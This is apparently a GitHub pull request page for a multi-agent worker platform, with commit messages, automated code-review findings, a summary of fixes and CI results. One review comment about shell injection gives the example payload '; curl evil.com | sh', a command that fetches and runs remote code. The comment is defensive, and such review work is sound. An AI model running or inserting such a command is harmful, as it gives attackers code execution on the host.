fix: QwenPaw shipping, scoped-config probe, and remediation - #7
Conversation
Unify task/project protocol, openclaw merge, FileSync, and Matrix helpers under shared/python; split controller/manager mega-modules behind adapters; fix CoPaw image/bootstrap gaps and create-team/manager-state CLI paths without hard Phase 11 cutover. Co-authored-by: Cursor <[email protected]>
Gate task completion on verifiable deliverables (Manager verify-output, shared protocol, CoPaw/TeamHarness taskflow) so coordinators fail closed before accepting results. Report heartbeat and LLM usage from workers, probe five-point health on list/get API, and surface freshness on the dashboard. Add Project spec.dependsOn for cross-project visibility. Includes review remediation: parallel list probes, path parity, submit order, docs, and tests. Co-authored-by: Cursor <[email protected]>
Unblock Docker/embedded QwenPaw workers waiting forever on openclaw.json, wire AGENTTEAMS_QWENPAW_WORKER_IMAGE through install/Helm, add the qwenpaw-worker-agent template, and close docs/test gaps from remediation. Co-authored-by: Cursor <[email protected]>
Pass --break-system-packages for system pip installs in worker/manager images, and make the CoPaw Matrix sync-loop patch no-op on the current PyPI nested sync_loop() shape. Co-authored-by: Cursor <[email protected]>
Supply gateway.publicURL for helm template, install local agentteams Python packages before hermes, and replace removed jq --argfile with --slurpfile in merge golden tests. Co-authored-by: Cursor <[email protected]>
agentteams_matrix_policies is required by hermes policy shims; install every shared/python/agentteams_* editable package before runtime pytest. Co-authored-by: Cursor <[email protected]>
![kilo-code-bot[bot]](https://avatars.githubusercontent.com/in/2193792?s=60&v=4){kind=small}
| @@ -49,8 +54,11 @@ | |||
|
|
|||
| set -e | |||
|
|
|||
| _INSTALL_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" | |||
| # shellcheck source=defaults.env | |||
There was a problem hiding this comment.
CRITICAL: Missing defaults.env — installer will crash immediately
source "${_INSTALL_DIR}/defaults.env" will fail because install/defaults.env does not exist in this PR (confirmed via git show 7ac37d3:install/defaults.env). With set -e active, the script exits immediately. Every variable now expected from this file — AGENTTEAMS_PORT_GATEWAY, AGENTTEAMS_PORT_CONSOLE, AGENTTEAMS_IMAGE_MANAGER, AGENTTEAMS_NON_INTERACTIVE, AGENTTEAMS_MOUNT_SOCKET, AGENTTEAMS_DOCKER_PROXY, all *_MIN_VERSION gates, etc. — will be undefined. The _ver_lt gates at lines 1045-1053 will also silently misbehave because AGENTTEAMS_VERSION defaults to empty, causing empty-string-to-semver comparisons that disable all newer worker runtimes.
The file must be committed alongside this change, or the source must be guarded with a conditional.
Reply with @kilocode-bot fix it to have Kilo Code address this issue.
| params["version"] = version | ||
| if label: | ||
| params["label"] = label | ||
| url = f"http://{host}:{port}/nacos/v3/client/ai/agentspecs?{urlencode(params)}" |
There was a problem hiding this comment.
CRITICAL: urlencode not imported — runtime NameError on nacos HTTP fetch
urlencode(params) is called here but only parse_qs and urlparse are imported from urllib.parse (line 19). Any non-STS nacos agent-package fetch will crash with NameError: name 'urlencode' is not defined.
Fix: add urlencode to the import on line 19:
from urllib.parse import parse_qs, urlparse, urlencodeReply with @kilocode-bot fix it to have Kilo Code address this issue.
|
|
||
| def _nacos_sts_auth_headers(self, namespace: str) -> Dict[str, str]: | ||
| access_key, secret_key, security_token = self._nacos_sts_credentials() | ||
| timestamp = str(int(time.time() * 1000)) |
There was a problem hiding this comment.
CRITICAL: time not imported — runtime NameError on nacos STS auth
time.time() is called in _nacos_sts_auth_headers() but time is never imported (the module imports base64, hashlib, hmac, json, logging, os, shutil, subprocess, tarfile, tempfile, urllib.request, zipfile — no time). Any nacos fetch using authType=sts-agentteams will crash with NameError: name 'time' is not defined.
Fix: add import time to the top-level imports (e.g., after line 21).
Reply with @kilocode-bot fix it to have Kilo Code address this issue.
| WorkerVolumeTypeOSS = "OSS" | ||
| ) | ||
|
|
||
| // +genclient |
There was a problem hiding this comment.
CRITICAL: Kubebuilder markers are misplaced on ExposePort instead of Worker
These markers (+genclient, +kubebuilder:subresource:status, +kubebuilder:printcolumn, +k8s:deepcopy-gen:interfaces) were split from the original monolithic types.go and landed on ExposePort instead of Worker. The Worker struct in worker_types.go:5 has zero kubebuilder markers. Any controller-gen run will produce a Worker CRD missing the status subresource, print columns, and generated client. The stale comment on line 168 (// Worker represents an AI agent worker in AgentTeams.) placed before type ExposePort struct confirms a copy-paste error during the file split.
Additionally, the printcolumn markers reference .spec.team and .status.repoCount which are Project/Team fields, not Worker fields — these were also mis-copied.
Reply with @kilocode-bot fix it to have Kilo Code address this issue.
| "-c", | ||
| "source /opt/hiclaw/scripts/lib/hiclaw-env.sh && " | ||
| "ensure_mc_credentials && " | ||
| f"_mc_host_var=MC_HOST_{_MC_ALIAS} && " |
There was a problem hiding this comment.
WARNING: Shell injection via unsanitized _MC_ALIAS in bash -c command
_MC_ALIAS (derived from the AGENTTEAMS_STORAGE_ALIAS environment variable via storage_alias()) is interpolated directly into a bash -c command string via f-string without any sanitization. If the env var contains shell metacharacters (e.g., ; curl evil.com | sh), they would be executed as shell code.
While the env var is typically set by the deployment config (not end-user input), this violates defense-in-depth. The mc_ops.mc() helper used elsewhere passes arguments as a list (safe from injection), but this bash -c path bypasses that protection.
Fix: validate that _MC_ALIAS matches ^[a-zA-Z0-9_-]+$ before use, or restructure to pass it as a bash variable rather than interpolating it into the command string.
Reply with @kilocode-bot fix it to have Kilo Code address this issue.
| "<redacted>", | ||
| self._alias_set, | ||
| mc_host_set, | ||
| controller_url, |
There was a problem hiding this comment.
WARNING: Endpoint URL logged without credential redaction
self.endpoint is logged directly at INFO level. If the endpoint contains embedded credentials (e.g., http://access_key:secret_key@minio:9000), they will appear in container logs. The redact_url_userinfo() function exists in the same package (agentteams_sync.mc) specifically for this purpose, but is not used here.
Fix: use redact_url_userinfo(self.endpoint) in the log call.
Reply with @kilocode-bot fix it to have Kilo Code address this issue.
| return metadataName | ||
| } | ||
|
|
||
| // ExposePort defines a container port to expose via the Higress gateway. |
There was a problem hiding this comment.
WARNING: Stale doc comment on WorkerStatus
The comment // ExposePort defines a container port to expose via the Higress gateway. was left over from the original monolithic types.go where ExposePort preceded WorkerStatus. This should be:
// WorkerStatus holds the observed runtime state of a Worker.Reply with @kilocode-bot fix it to have Kilo Code address this issue.
| const dots = HEALTH_PROBE_ORDER.map(([key, label]) => { | ||
| const check = checks[key] || {}; | ||
| const status = check.status || 'unknown'; | ||
| const detail = check.detail ? ` — ${check.detail}` : ''; |
There was a problem hiding this comment.
WARNING: check.detail not HTML-escaped — inconsistent with codebase pattern
check.detail (from the backend API) is interpolated into a title attribute without passing through escapeHtml(). While the double-quote replacement on line 200 prevents attribute breakout, <, >, and & are not escaped. All other dashboard card fields consistently use escapeHtml() for API values. A crafted detail string could inject HTML if the rendering context changes.
Fix: escape check.detail before interpolation:
const detail = check.detail ? ` — ${escapeHtml(check.detail)}` : '';Reply with @kilocode-bot fix it to have Kilo Code address this issue.
| fi | ||
|
|
||
| mkdir -p /data | ||
| cat > "${SECRETS_FILE}" <<EOF |
There was a problem hiding this comment.
WARNING: Unquoted heredoc expands $() and backticks in secret values
<<EOF (unquoted) causes bash to expand $(), backticks, and \ in the variable values. If AGENTTEAMS_MANAGER_GATEWAY_KEY or AGENTTEAMS_MANAGER_PASSWORD contain these characters (e.g., from a previously corrupted secrets file loaded on line 8), the written file will contain expanded/broken values.
Fix: quote the heredoc delimiter to prevent expansion:
cat > "${SECRETS_FILE}" <<'EOF'
export AGENTTEAMS_MANAGER_GATEWAY_KEY="${AGENTTEAMS_MANAGER_GATEWAY_KEY}"
export AGENTTEAMS_MANAGER_PASSWORD="${AGENTTEAMS_MANAGER_PASSWORD}"
EOFWait — with <<'EOF' the variables won't expand at all. The correct fix is to either use printf or declare -p for safe serialization, or validate that secret values are shell-safe before writing.
Reply with @kilocode-bot fix it to have Kilo Code address this issue.
| pushed.append(rel.as_posix()) | ||
| logger.debug("Pushed %s -> %s", rel, dest) | ||
| except Exception as exc: | ||
| logger.debug("push_local: failed for %s: %s", rel, exc) |
There was a problem hiding this comment.
WARNING: All push failures silently swallowed at debug level
Every exception during file push (network errors, permission denied, disk full, CalledProcessError) is caught by the bare except Exception and logged only at debug level. In production, these failures would be invisible unless debug logging is explicitly enabled, making push failures very difficult to diagnose.
Fix: log at warning level at minimum, or at least distinguish between expected failures (file disappeared) and unexpected ones (network/auth errors).
Reply with @kilocode-bot fix it to have Kilo Code address this issue.
Code Review SummaryStatus: No Issues Found | Recommendation: Merge All 10 previous findings have been resolved:
Incremental change (Makefile Files Reviewed (1 incremental)
Previous Review Summaries (3 snapshots, latest commit 45cd1bc)Current summary above is authoritative. Previous snapshots are kept for context only. Previous review (commit 45cd1bc)Status: 10 Issues Found | Recommendation: Address before merge Overview
Issue Details (click to expand)CRITICAL
WARNING
Additional Verified Findings (summary-only)
Files Reviewed (~300 files sampled from 423 changed)Controller Go (hiclaw-controller/): CRD types, reconcilers, config, server handlers, service deployer/provisioner, gateway client, agent config generator — 2 CRITICAL, 1 WARNING, 5 additional findings Fix these issues in Kilo Cloud Previous review (commit 76e6171)Status: 10 Issues Found | Recommendation: Address before merge Overview
Issue Details (click to expand)CRITICAL
WARNING
Additional Verified Findings (summary-only)
Files Reviewed (~300 files sampled from 423 changed)Controller Go (hiclaw-controller/): CRD types, reconcilers, config, server handlers, service deployer/provisioner, gateway client, agent config generator — 2 CRITICAL, 1 WARNING, 5 additional findings Fix these issues in Kilo Cloud Previous review (commit 7ac37d3)Status: 10 Issues Found | Recommendation: Address before merge Overview
Issue Details (click to expand)CRITICAL
WARNING
Additional Verified Findings (summary-only)
Files Reviewed (~300 files sampled from 423 changed)Controller Go (hiclaw-controller/): CRD types, reconcilers, config, server handlers, service deployer/provisioner, gateway client, agent config generator — 2 CRITICAL, 1 WARNING, 5 additional findings Reviewed by mimo-v2.5-pro · Input: 47.4K · Output: 9.6K · Cached: 455.6K |
Drop obsolete Worker health/Matrix helper expectations, match bridge overlay semantics, and install shared agentteams_* packages only for the hermes CI matrix. Co-authored-by: Cursor <[email protected]>
Track install/defaults.env, restore missing agent_package imports, move Worker kubebuilder markers onto Worker, harden sync/secrets logging and shell interpolation, and HTML-escape health details. Co-authored-by: Cursor <[email protected]>
|
Remediated Kilo findings in |
Installer sources install/defaults.env under set -e; allow that non-secret defaults file through the *.env ignore rule. Co-authored-by: Cursor <[email protected]>
Forks without the LLM key were failing every embedded shard at install-embedded with a misleading Error 1. Skip those jobs instead. Co-authored-by: Cursor <[email protected]>
pull_request_target runs the base workflow YAML, so a Makefile guard is what actually saves fork PRs that lack AGENTTEAMS_LLM_API_KEY. Co-authored-by: Cursor <[email protected]>
Make runs each recipe line in a fresh shell, so exit 0 after the LLM-key check did not stop install-embedded. Wrap install/wait/tests in the else branch of the same if. Co-authored-by: Cursor <[email protected]>
📊 CI Metrics Report
Summary
By Role
Generated by HiClaw CI on 2026-07-17 18:03:56 UTC |
1 participant
Summary
runtime/runtime.yamlfor QwenPaw/Edge (andopenclaw.jsonfor legacy) usingRuntimeNameAGENTTEAMS_WORKER_NAMEin guides, runtime nav, phantomprojects.hiclaw.iocleanup, installer eval/cred hardeningTest plan
go testcontroller scoped-config / config / deployer packagesmake test-shared(or shared shell tests: env, oss-credentials, install-prompt)